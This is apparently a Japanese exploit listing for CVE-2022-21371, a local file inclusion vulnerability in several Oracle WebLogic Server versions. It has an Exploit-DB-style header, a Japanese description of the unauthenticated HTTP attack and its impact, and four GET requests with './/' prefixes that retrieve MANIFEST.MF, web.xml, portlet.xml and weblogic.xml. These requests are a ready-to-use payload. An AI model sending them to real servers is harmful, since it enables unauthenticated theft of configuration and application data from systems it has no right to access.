mr-xn/cve-2022-21371Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 ローカルファイルインクルージョン
Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 ローカルファイルインクルージョン
# Exploit Title: Oracle WebLogic Server 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 Local File Inclusion
# Date: 25/1/2022
# Exploit Author: Jonah Tan (@picar0jsu)
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
# Version: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0
# Tested on: Windows Server 2019
# CVE : CVE-2022-21371
Oracle Fusion Middleware の Oracle WebLogic Server 製品 (コンポーネント: Web Container) における脆弱性。 影響を受けるサポート対象バージョンは、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、および 14.1.1.0.0 です。 容易に悪用可能なこの脆弱性により、HTTP 経由でネットワークアクセスを持つ認証されていない攻撃者が Oracle WebLogic Server を侵害する可能性があります。 この脆弱性の攻撃が成功すると、重要なデータへの不正アクセス、または Oracle WebLogic Server のアクセス可能なすべてのデータへの完全なアクセスが可能になる可能性があります。
GET .//META-INF/MANIFEST.MF
GET .//WEB-INF/web.xml
GET .//WEB-INF/portlet.xml
GET .//WEB-INF/weblogic.xml
出典: https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786